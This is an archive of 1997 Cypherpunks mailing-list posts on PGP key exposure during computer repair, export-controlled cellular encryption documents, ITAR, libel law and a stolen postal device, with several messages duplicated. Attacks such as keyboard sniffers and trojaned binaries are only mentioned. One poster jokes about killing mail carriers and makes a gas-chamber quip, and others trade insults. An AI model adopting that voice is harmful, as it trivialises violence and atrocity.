<199702012357.PAA00605@toad.com> Alan Olsen writes: > At 10:41 AM 1/31/97 -0800, Z.B. wrote: > >My computer went into the shop a few days ago, and I was unable to take > >my PGP keys off it before it went in. What are the security risks here? > >If the repairman chooses to snoop through the files, what would he be > >able to do with my key pair? Will I need to revoke the key and make a > >new one, or will I be relatively safe since he doesn't have my > >passphrase? > > Depends on how guessable your passphrase is. If you use something that would > fall to a dictionary attack, then you are vulnerable. (Providing that they > actually looked for your keyring and made a copy.) > > If you had nyms on your keyring, then those nyms can be associated with your > "true name" with no passphrase required. (Unless you keep your keyring > encrypted. Private Idaho supports encrypted keyrings, but little else does.) Other attacks would be installing a keyboard sniffer, replacing your PGP binary with a trojan that records your passphrase, etc. This sort of stuff is quite possible but not likely. Yet. > If you are really concerned about it, you could learn to do your own computer > repairs. Or put your PGP keys on removeable media. -- Eric Murray ericm at lne.com ericm at motorcycle.com http://www.lne.com/ericm PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03 92 E8 AC E6 7E 27 29 AF From jya at pipeline.com Sat Feb 1 15:59:19 1997 From: jya at pipeline.com (John Young) Date: Sat, 1 Feb 1997 15:59:19 -0800 (PST) Subject: More on Cellular Encryption Docs Message-ID: <199702012359.PAA00661@toad.com> Here's more on the controlled documents for cellular encryption from TIA/EIA we described in a 26 January post to cpunks: Sharon Vargish of TIA (1-703-907-7702) sent the documents after=20 I signed and returned the NDA: TR45.0.A Common Cryptographic Algorithms, Revision B June 21, 1995, 72 pp. (With ITAR notice on every page) TR45.0.A Interface Specification for Common Cryptographic Algorithms, Revision B, August 6, 1996, 15 pp. (No ITAR notice, but=20 "sensitive information should be protected from general=20 distribution.") TR45 Appendix A to PN-3474 (IS-36) October 16, 1995, 10 pp. (ITAR notice on every page.) TR45 Appendix-A to TIA/EIA 627 December 23, 1996, 7 pp. (No ITAR, but "sensitive"notice) "Common Cryptographic Algorithms" (CCA) supercedes the 1992=20 CAVE document, but is considerbly longer -- 72 pp. for the latest compared to 25 pp. for the 1992 version. Here're the CCA's TOC and Introduction: Table of Contents 1. Introduction=20 =A01.1. Notations=20 =A0 =A01.2. Definitions=20 2. Procedures=20 =A0 =A02.1. Authentication Key (A-Key) Procedures =A0 =A0 =A0 =A0 2.1.1. A-Key Checksum calculation =A0 =A0 =A0 =A0 =A0=20 2.1.2. A-Key Verification =A0 =A02.2. SSD Generation and Update =A0 =A0 =A0 =A0 2.2.1. SSD Generation Procedure =A0 =A0 =A0 =A0 =A0=20 2.2.2. SSD Update Procedure =A0 =A02.3. Authentication Signature Calculation Procedure =A0 =A02.4. Encryption Key and VPM Generation Procedure =A0 =A0 =A0 =A0 2.4.1. CMEA key Generation =A0 =A0 =A0 =A0 =A0=20 2.4.2. Voice Privacy Mask Generation =A0 =A02.5. CMEA Encryption/Decryption Procedure =A0 =A02.6. Wireless Residential Extension Procedures =A0 =A0 =A0 =A0 2.6.1. WIKEY Generation =A0 =A0 =A0 =A0 =A0=20 2.6.2. WIKEY Update Procedure =A0 =A0 =A0 =A0 =A0=20 2.6.3. Wireline Interface Authentication Signature=20 Calculation Procedure =A0 =A0 =A0 =A0 =A0=20 2.6.4. Wireless Residential Extension Authentication=20 Signature Calculation Procedure =A0 =A02.7. Cellular Data Encryption=20 =A0 =A0 =A0 =A0 2.7.1. Data Encryption Key Generation Procedure =A0 =A0 = =A0 =A0 =A0=20 2.7.2. Data Encryption Mask Generation Procedure 3. TEST VECTORS =A0 =A03.1. CAVE Test Vectors =A0 =A0 =A0 =A0 3.1.1. Vector 1 =A0 =A0 =A0 =A0 =A0=20 3.1.2. Vector 2 =A0 =A0 =A0 =A0 =A0=20 3.1.3. Test Program =A0 =A03.2. Wireless Residential Extension Test Vectors =A0 =A0 =A0 3.2.1. Input data =A0 =A0 =A0 =A0 =A0=20 3.2.2. Test program =A0 =A0 =A0 =A0 =A0=20 3.2.3. Test Program Output =A0 =A03.3. Data Encryption Test Vector =A0 =A0 =A0 =A0 3.3.1. Input data =A0 =A0 =A0 =A0 =A0=20 3.3.2. Test Program =A0 =A0 =A0 =A0 =A0=20 3.3.3. Test Program Output =20 1. Introduction This document describes detailed cryptographic procedures for=20 cellular system applications. These procedures are used to=20 perform the security services of mobile station authentication,=20 subscriber message encryption, and encryption key and subscriber=20 voice privacy key generation within cellular equipment. This document is organized as follows: =A72 describes the Cellular Authentication, Voice Privacy and=20 Encryption (CAVE) algorithm used for authentication for mobile=20 subscriber equipment and for generation of cryptovariables to=20 be used in other procedures. =A72.1 describes the procedure to verify the manual entry of the=20 subscriber authentication key (A-key). =A72.2 describes the generation of intermediate subscriber=20 cryptovariablcs, Shared Secret Data (SSD), from the unique and=20 private subscriber A-key. =A72.3 describes the procedure to calculate an authentication=20 signature used by cellular base station equipment for verifying=20 the authenticity of a mobile station. =A72.4 describes the procedures used for generating cryptographic=20 keys. These keys include the Voice Privacy Mask (VPM) and the=20 Cellular Message Encryption Algorithm (CMEA) key. Thc VPM is used=20 to provide forward link and reverse link voice confidentiality=20 over the air interface. Thc CMEA key is used with the CMEA=20 algorithm for protection of digital data exchanged between the=20 mobile station and the base station. =A72.5 describes the Cellular Message Encryption Algorithm (CMEA)=20 used for enciphering and deciphering subscriber data exchanged=20 between the mobile station and the base station. =A72.6 describes the procedures for key and authentication=20 signature generation for wireless residential extension=20 applications. =A72.7 describes the ORYX algorithm and procedures for key and mask=20 generation for encryption and decryption in cellular data services. =A73 provides test data (vectors) that may be employed to verify=20 the correct operation of the cryptographic algorithms described=20 in this document. ... [End CCA Introduction] The related CCA Interface Specification "describes the interfaces to cryptographic procedures for cellular system applications" described in the CCA. Its purpose "is to describe the cryptographic functions without revealing the technical details that are subject to" ITAR. The two Appendices A to IS-136 and 627 "contain requirements for=20 message encryption and voice privacy for cellular systems"=20 supplemental to those described in the main documents, the CCA and=20 the CCA Interface Specs. ----- This note will be put with other CAVE info at: http://jya.com/cave.htm Thanks to TIA/EIA for prompt and courteous reply to our requests. Maybe they welcome help persuading USG/NSA to allow stronger crypto and boost the market for cellular systems. From vznuri at netcom.com Sat Feb 1 16:10:53 1997 From: vznuri at netcom.com (Vladimir Z. Nuri) Date: Sat, 1 Feb 1997 16:10:53 -0800 (PST) Subject: Junger web site Message-ID: <199702020010.QAA01056@toad.com> PJ sent me his web site which others may be interested in, with pointers to Karn and Bernstein: http://samsara.law.cwru.edu/comp_law/crypto_export/ so, essentially, there are now 3 pretty significant cases challenging ITAR on constitutional grounds, which I find highly encouraging. of course the Bernstein case has already had very positive results so far. From blancw at cnw.com Sat Feb 1 16:11:04 1997 From: blancw at cnw.com (blanc) Date: Sat, 1 Feb 1997 16:11:04 -0800 (PST) Subject: Cyphernomicon by Tim May Message-ID: <199702020011.QAA01078@toad.com> From: Toto, quoting the Cyphernomicon 3.5.1 Contrary to what people sometimes claim, there is no ruling clique of Cypherpunks. Anybody is free to do nearly anything, just not free to commit others to course of action, or claim to speak for the "Cypherpunks" as a group (and this last point is unenforceable except through reputation and social repercussions). ......................................................................... Toto, I'm surprised at how seriously you take the underlying anarchist philosophy of the list; you identify so closely with it, and have responded to its moderation as though it really would be "the end of freedom", even though you seem to have appeared, or else come out of lurking, only recently. Is this because you value anarchy, or free speech, or the existence of the Cypherpunks as a unique group of stray cats [ :>) ]? Side note: Since Tim isn't on the list and hasn't been for a month, I've been wondering if it had anything to do with the moderation experiment, although it is unlike him to have left without either an argument or at least some kind of statement about it. .. Blanc From gbroiles at netbox.com Sat Feb 1 16:11:15 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Sat, 1 Feb 1997 16:11:15 -0800 (PST) Subject: Libel, Times v. Sullivan Message-ID: <199702020011.QAA01095@toad.com> Someone (Igor?) suggested I said that libel can't be criminalized. I don't think that's correct, but I may have been unclear. I haven't researched the question and can't call to mind a case directly on point, but my hunch is that states may criminalize libel, but a conviction would require that the state prove, beyond a reasonable doubt (because it's a criminal case), and that the defendant acted with actual malice (because the state is seeking to punish speech, and punitive damages in civil cases require proving actual malice). "Actual malice" means that the defendant said something s/he knew was untrue or recklessly disregarded the truth of what s/he said. (This excludes, for example, an "honest mistake" about what's true.) _Times v. Sullivan_, the case which introduced the actual malice standard, discussed Alabama's criminal libel statute - so the Supreme Court, in the mid 60's, didn't seem to have a problem with criminalizing libel. I can't seem to find a criminal libel statute in California; and if I remember correctly the Oregon Legislature contemplated but did not pass one during its last legislative session. Also, people interested in _Times v. Sullivan_ and the interplay between defamation and the First Amendment might find "Make No Law: The Sullivan Case and the First Amendment" by Anthony Lewis (ISBN 0-697-73939-4) of interest. The decision itself is online at - the factual summary of the Sullivan case posted here was not correct, and the first few pages of the opinion provide a description of the underlying facts. Since we've now got Jim Bell arguing that it's obvious that a free and open society must tolerate anything which might be defamatory, and Jim Choate arguing that it's obvious that a free and open society cannot tolerate anything which might be defamatory, I think I'm going to wander away from this discussion confident that the answer is, at least, nonobvious. :) -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From WlkngOwl at unix.asb.com Sat Feb 1 16:12:44 1997 From: WlkngOwl at unix.asb.com (Robert Rothenburg 'Walking-Owl') Date: Sat, 1 Feb 1997 16:12:44 -0800 (PST) Subject: "Secret" Postal Device stolen Message-ID: <199702020012.QAA01104@toad.com> -----BEGIN PGP SIGNED MESSAGE----- On 1 Feb 97 at 9:39, Duncan Frissell wrote: > Mail Storage Box keys? I think they use combination locks, actually. Supposedly it's the same combination nationally too. There was an article in 2600 Magazine about that. The locks are actually 'insecure' and you can test every possible combo in about 10-20 minutes. - --Rob -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMvPFpgTNlSxdPy6ZAQF7QAf+IFPhGavlD7p5WFsmhESHi+PKd9msqYhN pxl8ZdUZMDJg61F6nLF4Oa7rfoCmzDXqP4w0WU1pk8MkkwwVb9oTTJg2k4hY4AKr IixesiAcDlGc9+11314Nao+PuU6epJYmLddGSIc0Ra3FKrqamyueW6qunsJQT1Z6 5E/BiqpEGAiEGqog9J/xXtSra4q9g1SzrMCGcR5z077gCzb5ONxIgWzQ6zlL0leb X1Y9pzABnm1iJbq7Q2HRAVAQVBiPC/vg+hW8COfao4XHGqsqVg2UBcZWT8TdbV4N cwqVw5fDpoZXPyQtzRynmq55xH4OIJWZ2HnNNK3KHdRcyS+JW24MBQ== =oAVd -----END PGP SIGNATURE----- ----- "The word to kill ain't dirty | Robert Rothenburg (WlkngOwl at unix.asb.com) I used it in the last line | http://www.asb.com/usr/wlkngowl/ but use a short word for lovin' | Se habla PGP: Reply with the subject and dad you wind up doin' time." | 'send pgp-key' for my public key. From shamrock at netcom.com Sat Feb 1 16:25:46 1997 From: shamrock at netcom.com (Lucky Green) Date: Sat, 1 Feb 1997 16:25:46 -0800 (PST) Subject: Crypto in New Zealand - an update Message-ID: <199702020025.QAA01481@toad.com> At 06:03 AM 2/2/97, pgut001 at cs.auckland.ac.nz wrote: [...] >The following week Andrew Mayo wrote a letter to the editor of the NBR >containing an eloquent defense of the use of encryption to protect personal >privacy. MFAT replied to say that they were only following orders, and were >required by the Wassenaar agreement to restrict crypto exports: [...] Just for clarification, it is the Wassenaar *arrangement* (somehow the term is more fitting anyway...) and it does *not* require the signatory countries to implement crypto export controls. Not that this will make any difference, since it would be the first time that a government would allow facts to stand in the way of politics. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From toto at sk.sympatico.ca Sat Feb 1 17:25:59 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 1 Feb 1997 17:25:59 -0800 (PST) Subject: "Secret" Postal Device stolen In-Reply-To: <3.0.1.32.19970201115431.047a4e50@popd.ix.netcom.com> Message-ID: <32F4011A.1B3C@sk.sympatico.ca> Bill Stewart wrote: > >>>Postal Service offers $25,000 reward for stolen . . . something > I was also guessing keys - truck keys are a less subtle target than > box storage keys, and telling every thug in the country that > mail trucks are an easy target, just take the keys from the carrier, > seems almost worth sounding really stupid in public to avoid. > They did say that it wasn't something they carried in their pockets, > but do mail carriers hang their keys on their belts? Mail carriers in some areas carry keys for buildings with security doors (sometimes Master keys). Or perhaps they've taken over the CIA's crack distribution route. Is anyone on the list willing to 'knock off' a couple of mail carriers and get back to us with a definitive answer on this? (Doesn't this kind of thing fall under the moderator's job description?) Toto From toto at sk.sympatico.ca Sat Feb 1 17:26:05 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 1 Feb 1997 17:26:05 -0800 (PST) Subject: Crypto in New Zealand - an update In-Reply-To: <3.0.32.19970201151843.006ec2d0@192.100.81.137> Message-ID: <32F4096D.789@sk.sympatico.ca> Lucky Green wrote: > At 06:03 AM 2/2/97, pgut001 at cs.auckland.ac.nz wrote: > [...] > >The following week Andrew Mayo wrote a letter to the editor of the NBR > >containing an eloquent defense of the use of encryption to protect personal > >privacy. MFAT replied to say that they were only following orders, and were > >required by the Wassenaar agreement to restrict crypto exports: > [...] MFAT doesn't put crypto in the ovens, they just turn on the gas. > Just for clarification, it is the Wassenaar *arrangement* (somehow the term > is more fitting anyway...) and it does *not* require the signatory > countries to implement crypto export controls. > Not that this will make any difference, since it would be the first time > that a government would allow facts to stand in the way of politics. ...or allow 'citizens' to stand in the way of politics. Toto From hallam at ai.mit.edu Sat Feb 1 17:30:38 1997 From: hallam at ai.mit.edu (Phillip M Hallam-Baker) Date: Sat, 1 Feb 1997 17:30:38 -0800 (PST) Subject: Fighting the cybercensor Message-ID: <199702020129.UAA28314@life.ai.mit.edu> > I'm still waiting for you to explain what you believe to be the "problem" > for which we are searching a solution. The problem is that you are a crushing bore. You peddle your crackpot scheme long after it has been made plain nobody is interested. Yet another reason to believe you are an FBI agent provocateur. Phill From wb8foz at nrk.com Sat Feb 1 17:35:19 1997 From: wb8foz at nrk.com (David Lesher) Date: Sat, 1 Feb 1997 17:35:19 -0800 (PST) Subject: "Secret" Postal Device stolen In-Reply-To: <199702020012.QAA01104@toad.com> Message-ID: <199702020134.UAA08012@nrk.com> Robert Rothenburg 'Walking-Owl' sez: > > > > Mail Storage Box keys? > > I think they use combination locks, actually. Supposedly it's the same > combination nationally too. > > There was an article in 2600 Magazine about that. The locks are > actually 'insecure' and you can test every possible combo in about > 10-20 minutes. I think you are confusing USPS and FedEx. USPS uses key locks seemingly designed by Ben Franklin himself. Look at them someday. FedEx boxes used to have Simplex 926 5 pushbutton ""locks"" if you stretch the point. I'm guessing what they lost was a reloader for postage meters. -- A host is a host from coast to coast.................wb8foz at nrk.com & no one will talk to a host that's close........[v].(301) 56-LINUX Unless the host (that isn't close).........................pob 1433 is busy, hung or dead....................................20915-1433 From jimbell at pacifier.com Sat Feb 1 17:56:42 1997 From: jimbell at pacifier.com (jim bell) Date: Sat, 1 Feb 1997 17:56:42 -0800 (PST) Subject: Libel & the 1st Amendment Message-ID: <199702020156.RAA13867@mail.pacifier.com> At 12:52 PM 2/1/97 -0500, Mark M. wrote: >On Sat, 1 Feb 1997, Peter J. Capelli wrote: > >> You mean to say, rich people can overcrowd the courts as much as they >> like, while others are restricted by contigency-only lawyers ( Call >> 1-800-AMBULANCE! ) ... and what of the case of a rich person trying to >> control >> a poor one with many frivolous lawsuits ... while they can afford to file >> lawsuit after lawsuit, the poor person cannot defend himself. > >What, exactly, would be the point of suing a poor person? To quiet him from political dissent, presumably. I think the term coined a few years ago was "SLAPP", something akin to "Strategic Lawsuit Against Public Policy," or similar. For example, "Company A" wants to build a mine or factory or something similar at a location. Citizens object, causing political problems. Company sues the individuals for damages, which costs the individuals a great deal of money to defend against even if they never lose the suit. The real problem is actually a series of mistakes: 1. Individual should not be able to cause political problems for company. 2. "Government" should not be able to impact company activities short of actual harm. 3. Company should not be able to impact individual by suing except for actual harm done by that individual. Naturally, the source of these problems is that by each of their existence, lawyers make more money. As usual, I have a solution to that problem. Jim Bell jimbell at pacifier.com From ravage at einstein.ssz.com Sat Feb 1 18:00:11 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Sat, 1 Feb 1997 18:00:11 -0800 (PST) Subject: Free & Open Society & toleration Message-ID: <199702020201.UAA00977@einstein> Hi, It has been asserted that I am claiming that a free and open society should not abide any and all actions in contrast to Jim Bell's assertion that a free and open society must tolerate any action. This is not my case at all. I hold that a DEMOCRATIC society with a HEALTHY ECONOMIC system must have some minimum standards on what is allowed. By no means do I hold that the ONLY means of a free and open society is a democracy. It is quite possible to have an anarchy which would also be a free and open society and by DEFINITION would tolerate any action by its members acting individualy or in concert. I hold that for a democratic society to retain concepts of freedom and equity under the law as well as be economicaly viable, especialy in an environment where 'reputation' is critical such as a network over which economic transactions can take place with nothing more than a email order and a EFT, must not provide ex post facto AND carte blanche protection of the speech of the citizens. For such a system to operate requires a 'reputation' system to be in place. For such a system to be viable it MUST protect those reputations otherwise the concept of a 'contract' is worthless. I DO hold that this system MUST provide a priori protection of all speech. I further hold that any distinction between the 'government' and the people of a nation is a false and misleading distinction which is not in the best interest of the society because it by DEFINITION promotes a class society which is by definition contrary to the goal of equity under a democracy. It further provides a mechanism by which the representatives of the 'state' may claim immunity from the very standards they are charged with enforcing. This is because the charter of such a society is itself simply a contract between any arbitrary individual of that society and the sum total of the remaining citizenry (ie the 'state'). I further hold that one of the current legal practices based on precidence which MUST be replaced is our system dealing with defamation. I further hold that our current system of legal representation is inherently flawed and prevents equal representation under the law. Jim Choate CyberTects ravage at ssz.com From toto at sk.sympatico.ca Sat Feb 1 18:22:07 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 1 Feb 1997 18:22:07 -0800 (PST) Subject: Fighting the cybercensor In-Reply-To: <199702020129.UAA28314@life.ai.mit.edu> Message-ID: <32F411DF.75C7@sk.sympatico.ca> Phillip M Hallam-Baker wrote: > The problem is that you are a crushing bore. You peddle your crackpot > scheme long after it has been made plain nobody is interested. I also thing that the other list members involved in this thread are 'nobodies', but I was too polite to say anything. > Yet another reason to believe you are an FBI agent provocateur. I agree. He just strips down to his badge, but never 'comes across'. > Phill From dthorn at gte.net Sat Feb 1 18:23:46 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 1 Feb 1997 18:23:46 -0800 (PST) Subject: Cyphernomicon by Tim May In-Reply-To: <32F32D6C.126C@sk.sympatico.ca> Message-ID: <32F3F8FB.154B@gte.net> Toto wrote: > 3.5.1 Contrary to what people sometimes claim, there is no ruling > clique of Cypherpunks. Anybody is free to do nearly anything, > just not free to commit others to course of action, or claim > to speak for the "Cypherpunks" as a group (and this last > point is unenforceable except through reputation and social > repercussions). > 3.6.3 "Why isn't the list moderated?" > ...hardly consistent with many of our anarchist leanings, is it? > - "No, please, let's not become a 'moderated' newsgroup. This > would be the end of freedom! Is this why T.C. May hasn't posted in quite a while? From toto at sk.sympatico.ca Sat Feb 1 18:26:15 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 1 Feb 1997 18:26:15 -0800 (PST) Subject: "Secret" Postal Device stolen Message-ID: <199702020226.SAA04649@toad.com> Bill Stewart wrote: > >>>Postal Service offers $25,000 reward for stolen . . . something > I was also guessing keys - truck keys are a less subtle target than > box storage keys, and telling every thug in the country that > mail trucks are an easy target, just take the keys from the carrier, > seems almost worth sounding really stupid in public to avoid. > They did say that it wasn't something they carried in their pockets, > but do mail carriers hang their keys on their belts? Mail carriers in some areas carry keys for buildings with security doors (sometimes Master keys). Or perhaps they've taken over the CIA's crack distribution route. Is anyone on the list willing to 'knock off' a couple of mail carriers and get back to us with a definitive answer on this? (Doesn't this kind of thing fall under the moderator's job description?) Toto From wb8foz at nrk.com Sat Feb 1 18:29:27 1997 From: wb8foz at nrk.com (David Lesher) Date: Sat, 1 Feb 1997 18:29:27 -0800 (PST) Subject: "Secret" Postal Device stolen Message-ID: <199702020229.SAA04750@toad.com> Robert Rothenburg 'Walking-Owl' sez: > > > > Mail Storage Box keys? > > I think they use combination locks, actually. Supposedly it's the same > combination nationally too. > > There was an article in 2600 Magazine about that. The locks are > actually 'insecure' and you can test every possible combo in about > 10-20 minutes. I think you are confusing USPS and FedEx. USPS uses key locks seemingly designed by Ben Franklin himself. Look at them someday. FedEx boxes used to have Simplex 926 5 pushbutton ""locks"" if you stretch the point. I'm guessing what they lost was a reloader for postage meters. -- A host is a host from coast to coast.................wb8foz at nrk.com & no one will talk to a host that's close........[v].(301) 56-LINUX Unless the host (that isn't close).........................pob 1433 is busy, hung or dead....................................20915-1433 From toto at sk.sympatico.ca Sat Feb 1 18:29:29 1997 From: toto at sk.sympatico.ca (Toto) Date: Sat, 1 Feb 1997 18:29:29 -0800 (PST) Subject: Crypto in New Zealand - an update Message-ID: <199702020229.SAA04751@toad.com> Lucky Green wrote: > At 06:03 AM 2/2/97, pgut001 at cs.auckland.ac.nz wrote: > [...] > >The following week Andrew Mayo wrote a letter to the editor of the NBR > >containing an eloquent defense of the use of encryption to protect personal > >privacy. MFAT replied to say that they were only following orders, and were > >required by the Wassenaar agreement to restrict crypto exports: > [...] MFAT doesn't put crypto in the ovens, they just turn on the gas. > Just for clarification, it is the Wassenaar *arrangement* (somehow the term > is more fitting anyway...) and it does *not* require the signatory > countries to implement crypto export controls. > Not that this will make any difference, since it would be the first time > that a government would allow facts to stand in the way of politics. ...or allow 'citizens' to stand in the way of politics. Toto From jimbell at pacifier.com Sat Feb 1 18:29:37 1997 From: jimbell at pacifier.com (jim bell) Date: Sat, 1 Feb 1997 18:29:37 -0800 (PST) Subject: Libel & the 1st Amendment Message-ID: <199702020229.SAA04759@toad.com> At 12:52 PM 2/1/97 -0500, Mark M. wrote: >On Sat, 1 Feb 1997, Peter J. Capelli wrote: > >> You mean to say, rich people can overcrowd the courts as much as they >> like, while others are restricted by contigency-only lawyers ( Call >> 1-800-AMBULANCE! ) ... and what of the case of a rich person trying to >> control >> a poor one with many frivolous lawsuits ... while they can afford to file >> lawsuit after lawsuit, the poor person cannot defend himself. > >What, exactly, would be the point of suing a poor person? To quiet him from political dissent, presumably. I think the term coined a few years ago was "SLAPP", something akin to "Strategic Lawsuit Against Public Policy," or similar. For example, "Company A" wants to build a mine or factory or something similar at a location. Citizens object, causing political problems. Company sues the individuals for damages, which costs the individuals a great deal of money to defend against even if they never lose the suit. The real problem is actually a series of mistakes: 1. Individual should not be able to cause political problems for company. 2. "Government" should not be able to impact company activities short of actual harm. 3. Company should not be able to impact individual by suing except for actual harm done by that individual. Naturally, the source of these problems is that by each of their existence, lawyers make more money. As usual, I have a solution to that problem. Jim Bell jimbell at pacifier.com From ravage at einstein.ssz.com Sat Feb 1 18:30:22 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Sat, 1 Feb 1997 18:30:22 -0800 (PST) Subject: Free & Open Society & toleration Message-ID: <199702020230.SAA04826@toad.com> Hi, It has been asserted that I am claiming that a free and open society should not abide any and all actions in contrast to Jim Bell's assertion that a free and open society must tolerate any action. This is not my case at all. I hold that a DEMOCRATIC society with a HEALTHY ECONOMIC system must have some minimum standards on what is allowed. By no means do I hold that the ONLY means of a free and open society is a democracy. It is quite possible to have an anarchy which would also be a free and open society and by DEFINITION would tolerate any action by its members acting individualy or in concert. I hold that for a democratic society to retain concepts of freedom and equity under the law as well as be economicaly viable, especialy in an environment where 'reputation' is critical such as a network over which economic transactions can take place with nothing more than a email order and a EFT, must not provide ex post facto AND carte blanche protection of the speech of the citizens. For such a system to operate requires a 'reputation' system to be in place. For such a system to be viable it MUST protect those reputations otherwise the concept of a 'contract' is worthless. I DO hold that this system MUST provide a priori protection of all speech. I further hold that any distinction between the 'government' and the people of a nation is a false and misleading distinction which is not in the best interest of the society because it by DEFINITION promotes a class society which is by definition contrary to the goal of equity under a democracy. It further provides a mechanism by which the representatives of the 'state' may claim immunity from the very standards they are charged with enforcing. This is because the charter of such a society is itself simply a contract between any arbitrary individual of that society and the sum total of the remaining citizenry (ie the 'state'). I further hold that one of the current legal practices based on precidence which MUST be replaced is our system dealing with defamation. I further hold that our current system of legal representation is inherently flawed and prevents equal representation under the law. Jim Choate CyberTects ravage at ssz.com From dthorn at gte.net Sat Feb 1 18:34:43 1997 From: dthorn at gte.net (Dale Thorn) Date: Sat, 1 Feb 1997 18:34:43 -0800 (PST) Subject: Cyphernomicon by Tim May In-Reply-To: <01BC1053.485521C0@king1-06.cnw.com> Message-ID: <32F3FC93.7269@gte.net> blanc wrote: > From: Toto, quoting the Cyphernomicon > 3.5.1 Contrary to what people sometimes claim, there is no ruling > clique of Cypherpunks. Anybody is free to do nearly anything, > just not free to commit others to course of action, or claim > to speak for the "Cypherpunks" as a group (and this last > point is unenforceable except through reputation and social repercussions). > Toto, I'm surprised at how seriously you take the underlying anarchist > philosophy of the list; you identify so closely with it, and have responded > to its moderation as though it really would be "the end of freedom", even > though you seem to have appeared, or else come out of lurking, only > recently. Is this because you value anarchy, or free speech, or the > existence of the Cypherpunks as a unique group of stray cats [ :>) ]? > Side note: Since Tim isn't on the list and hasn't been for a month, I've been > wondering if it had anything to do with the moderation experiment, although > it is unlike him to have left without either an argument or at least some > kind of statement about it. Maybe Tim's Last Words got "lost", eh? So far, several people have stated that "it could happen". From jya at pipeline.com Sat Feb 1 18:50:25 1997 From: jya at pipeline.com (John Young) Date: Sat, 1 Feb 1997 18:50:25 -0800 (PST) Subject: NSA Material at the National Archives Message-ID: <1.5.4.32.19970202024456.0072d818@pop.pipeline.com> For access to the 5,000 items declassified under NSA's OPENDOOR program (http://www.nsa.gov:8080/programs/opendoor), we got this answer from the National Archives: Dear Mr. Young: This is in response to your electronic mail inquiry of December 20, 1996, concerning National Security Agency records transferred to the National Archives. The material described on the NSA web site was transferred to the National Archives and made available in April 1996. We can supply you with electrostatic (paper) copies of select files for $0.25 per page. Please let us know which files you would like copied, and we will send you a reproduction price quote (please include your mailing address with all such requests). We ask that you limit each request to five files. Should you choose to come to Washington to do research, our records and microfilm publications are available for consultation without charge in our research room. The National Archives at College Park (Archives II), is located at 8601 Adelphi Road, College Park, Maryland. If you do not have a research card, you must apply for one in the reception area. Research room hours (except legal holidays) are 8:45 a.m. to 5 p.m., Monday and Wednesday; and 8:45 a.m. to 9 p.m., Tuesday, Thursday and Friday. Our subject matter specialists are not on duty after 5:15 p.m. The research rooms also are open on Saturday from 8:45 a.m. to 4:45 p.m., with a small research room staff present. Requests for records must be made before 3:30 p.m. Monday-Friday; no requests can be made on Saturday. The telephone number for the Archives II Reference Branch is 301-713-7250. Ken Schlessinger Archives II Textual Reference Branch National Archives at College Park 8601 Adelphi Rd College Park, MD 20740-6001 kenneth.schlessinger at ARCH2.NARA.GOV From ichudov at algebra.com Sat Feb 1 18:58:43 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Sat, 1 Feb 1997 18:58:43 -0800 (PST) Subject: Fighting the cybercensor In-Reply-To: <199702020129.UAA28314@life.ai.mit.edu> Message-ID: <199702020255.UAA16001@manifold.algebra.com> Phillip M Hallam-Baker wrote: > > > I'm still waiting for you to explain what you believe to be the "problem" > > > for which we are searching a solution. > > The problem is that you are a crushing bore. You peddle your crackpot > scheme long after it has been made plain nobody is interested. I am interested. Who else is? > Yet another reason to believe you are an FBI agent provocateur. - Igor. From stewarts at ix.netcom.com Sat Feb 1 19:00:47 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sat, 1 Feb 1997 19:00:47 -0800 (PST) Subject: More on Cellular Encryption Docs In-Reply-To: <199702012359.PAA00661@toad.com> Message-ID: <3.0.1.32.19970201183101.006369c8@popd.ix.netcom.com> At 04:10 PM 2/1/97 -0500, John Young wrote: >Here's more on the controlled documents for cellular encryption >from TIA/EIA we described in a 26 January post to cpunks: ... > TR45.0.A > Common Cryptographic Algorithms, Revision B > June 21, 1995, 72 pp. (With ITAR notice on every page) Of course, ITAR as recently modified says it's ok to send this stuff overseas to foreigners, as long as it's on paper. There may be separate restrictions on sending it, or on copying, but they're based on copyright or contractual non-disclosure. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From jimbell at pacifier.com Sat Feb 1 19:14:13 1997 From: jimbell at pacifier.com (jim bell) Date: Sat, 1 Feb 1997 19:14:13 -0800 (PST) Subject: Libel, Times v. Sullivan Message-ID: <199702020313.TAA20622@mail.pacifier.com> At 02:52 PM 2/1/97 -0800, Greg Broiles wrote: >Also, people interested in _Times v. Sullivan_ and the interplay between >defamation and the First Amendment might find "Make No Law: The Sullivan >Case and the First Amendment" by Anthony Lewis (ISBN 0-697-73939-4) of >interest. The decision itself is online at >=254> - the factual summary of the Sullivan case posted here was not >correct, and the first few pages of the opinion provide a description of >the underlying facts. > >Since we've now got Jim Bell arguing that it's obvious that a free and open >society must tolerate anything which might be defamatory, and Jim Choate >arguing that it's obvious that a free and open society cannot tolerate >anything which might be defamatory, I think I'm going to wander away from >this discussion confident that the answer is, at least, nonobvious. :) Your last paragraph looks like an exercise of the silly game the TV show "60 minutes" producers often play when they read the letters from the audience about a previous report on a controversial subject. They first read a letter from an outraged viewer who claims that the TV show's producers must have been biased in one direction, and then they read another letter from a different viewer who alleges they showed a bias in the opposite direction. The show is trying to leave you with the impression that they MUST have been unbiased, because they are being accused of diametrically opposite leanings. All they are really showing is that given the hundreds and probably thousands of letters they receive on each show weekly (which are, by definition, written by self-motivated people) they can get at least one on each end of the spectrum for whatever subject they've just covered. Not surprising. (If anything, I'd be surprised if they ever DON'T recieve at least two such letters which could be misused in this way...) So before you "wander away," perhaps you ought to explain why we NEED defamation laws? The sun would still rise tomorrow morning absent them. A few feelings might be hurt, that's true, but on the other hand the implied endorsement of The State ("If that statement wasn't true, he couldn't print it!") has a, 